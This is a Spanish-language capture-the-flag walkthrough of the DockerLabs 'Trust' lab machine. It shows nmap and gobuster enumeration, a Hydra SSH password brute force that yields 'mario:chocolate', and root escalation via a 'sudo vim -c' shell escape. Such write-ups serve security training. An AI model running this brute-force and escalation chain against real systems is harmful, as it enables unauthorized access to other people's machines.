Trust - DockerLabs

Esta maquina está clasificada como “Muy Facil” en la plataforma de DockerLabs, muy útil para practicar ataque de fuerza bruta.

Herramientas

nmap
hydra

1- Enumeración

Comenzamos con la etapa de enumeración para ello vamos a usar la herramienta nmap con los siguientes parámetros

sudo nmap -p- --open -sS -sC -sV -n -Pn 172.17.0.2 -oN nmap.txt
Parametro Descripción
-p- Escanear todos los puertos
–open Mostrar los puertos abiertos
-sS Sondeo de tipo SYN sigiloso
-sV Habilita la detección de versiones
-n Sin resolución de DNS
-Pn Omitir el descubrimiento de hosts
-oN Formato de salida del archivo

Finalizado el escaneo podemos ver que se encuentran 2 puertos abiertos el 22 que corresponde al servicio de SSH y el puerto 80 correspondiente al servicio web Apache

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-14 12:22 -03
Nmap scan report for 172.17.0.2
Host is up (0.0000080s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 19:a1:1a:42:fa:3a:9d:9a:0f:ea:91:7f:7e:db:a3:c7 (ECDSA)
|_  256 a6:fd:cf:45:a6:95:05:2c:58:10:73:8d:39:57:2b:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.77 seconds

Procedo a investigar el puerto 80 en el navegador ingreso la siguiente URL http://172.17.0.2 en el cual está la pagina por default del servicio Apache

trust000

La pagina no tiene nada mas interesante, por lo tanto procedo a realizar fuzzing web a ver si me encuentro con algo mas

gobuster dir -n 404 -t 64 -u http://172.17.0.2/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x txt,py,sh,php
Parametro Descripcion
-n No imprimir códigos de estado
-t cantidad de hilos en paralelo
-u URL
-w Ruta al diccionario
-x Extensiones de archivo a buscar

Finalizado el fuzzing se observa que hay un directorio secret.php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,py,sh,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 275]
/secret.php           (Status: 200) [Size: 927]
/.php                 (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 1038215 / 1038220 (100.00%)
===============================================================
Finished
===============================================================

procedo a ver que hay en ese directorio ingresando la siguiente url en el navegador http://172.17.0.2/secret.php

secret.php

Me encuentro con el siguiente mensaje “Hola Mario, Esta web no se puede hackear.” no me encuentro con nada mas en esta web, por lo tanto tengo un posible usuario llamado Mario, el cual voy a usar para hacer fuerza bruta al servicio SSH con la herramienta Hydra

hydra -l mario -P /usr/share/wordlists/rockyou.txt -t 64 ssh://172.17.0.2
Parametro Descripción
-l usario
-P carga varias contraseñas desde un ARCHIVO
-t cantidad de hilos en paralelo
ssh protocolo a atacar

El ataque de fuerza bruta confirma el usuario mario y muestra la contraseña chocolate

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-14 12:48:30
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344400 login tries (l:1/p:14344400), ~224132 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: mario   password: chocolate
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 25 final worker threads did not complete until end.
[ERROR] 25 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-14 12:48:54

con estos datos procedo a realizar la intrusión en el equipo mediante el servicio SSH

2- Intrusión

Conexión a la maquina victima por el servicio SSH

ssh mario@172.17.0.2

al solicitar la contraseña ingreso chocolate y me permite el acceso a la maquina victima con el usuario mario intrusión realizada

3- Escalada de privilegios

Llego de momento de escalar privilegios y ser el usuario root, para ello voy a ejeutar el siguiente comando sudo -l para listar los permisos de sudo que tiene el usuario actual en el sistema.

Se observa que se puede ejecutar el binario /usr/bin/vim como el usuario root. Por lo tanto se procede a investigar en la pagina GTFOBins como explotar este binario

ejecutando el siguiente comando vamos a tener acceso a root

sudo vim -c ':!/bin/sh'

Listo! se logró escalar privilegios al usuario root